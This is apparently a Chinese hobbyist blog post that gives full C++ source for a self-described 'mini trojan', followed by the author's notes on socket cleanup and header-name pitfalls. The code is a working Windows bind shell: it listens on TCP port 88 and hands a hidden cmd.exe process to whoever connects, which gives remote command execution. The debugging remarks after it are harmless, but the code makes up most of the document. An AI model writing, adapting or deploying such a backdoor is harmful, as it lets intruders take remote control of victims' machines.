#include "iostream"
#include "WinSock2.h"
#include "windows.h"
#pragma comment(lib,"WS2_32.LIB")
using namespace std;
int main()
{
//定义
SOCKET Ssocket,Csocket;
WSADATA wsa;
int sockaddlen;
PROCESS_INFORMATION processinfo;
STARTUPINFO startupinfo;
char szCMD[256];
sockaddr_in addr;
//初始化
ZeroMemory(&processinfo,sizeof(PROCESS_INFORMATION));
ZeroMemory(&startupinfo,sizeof(STARTUPINFO));
ZeroMemory(&wsa,sizeof(WSADATA));
GetEnvironmentVariable("COMSPEC",szCMD,sizeof(szCMD));
WSAStartup(0x0202,&wsa);
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=INADDR_ANY;
addr.sin_port=htons(88);
//Csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
Csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//Csocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//创建连接
if (bind(Csocket,(SOCKADDR *)&addr,sizeof(addr))!=SOCKET_ERROR)
{
cout<<"绑定成功"<<endl;
if (listen(Csocket,1)!=SOCKET_ERROR)
{
cout<<"监听成功"<<endl;
sockaddlen=sizeof(addr);
Ssocket=accept(Csocket,(sockaddr *)&addr,&sockaddlen);
startupinfo.cb=sizeof(STARTUPINFO);
startupinfo.wShowWindow=SW_HIDE;
startupinfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
startupinfo.hStdError=(HANDLE)Ssocket;
startupinfo.hStdInput=(HANDLE)Ssocket;
startupinfo.hStdOutput=(HANDLE)Ssocket;
CreateProcess(NULL,szCMD,NULL,NULL,TRUE,0,NULL,NULL,&startupinfo,&processinfo);
WaitForSingleObject(processinfo.hProcess,INFINITE);
CloseHandle(processinfo.hProcess);
CloseHandle(processinfo.hThread);
}
closesocket(Csocket);
closesocket(Ssocket);
}
return 0;
}
今天无聊,写了个mini木马玩,结尾没写CloseHandle()和closesocket(),像我一向不怎么写这个东东的,回收啊,之类的,可是运行了几遍之后,bind()和listen()始终都无法成功了,代码没错,起初,我以为是编译器的问题,我清楚后重新生成,发现,还是不行,最后不得不用重启计算机才得以正常,最后发现,就是没有写关闭和回收机制导致的,加了CloseHandle()和closesocket()后,运行了十几遍,都很OK,还有一个点,我超级不明白的。。。感觉头文件的大小写一向来说都是不太重要的,结果今天就让我遇到了这个奇葩的问题,#include"winsock2.h"和#include"WinSock2.h"基本上就是一样的吧,一般都是直接用小写,切换大小写浪费时间啊,但是这次的程序超级蛋疼,我开始的时候2写丢了,写的头文件是 #include“winsock.h”,因为这个头文件是存在的,跟2也有差不多的功能,编译的时候就报错,说WSASocket()是未声明的标识符,也就是这个函数没有头文件,我就郁闷了,最后看见了,是头文件少个2,可是当我加了个2,我被吓到了,66个错误,都是各种函数是未声明标识符,比如什么,bind啊,listen啊,accpet啊。。。。。。我就纳闷了,纠结了半个多小时,一直以为是编译器问题,最后偶然的动作,改成了WinSock2.h,世界和平了。。。程序正常了。。。上网看了下,规范的写法就是这样,这就是不规范害死人啊。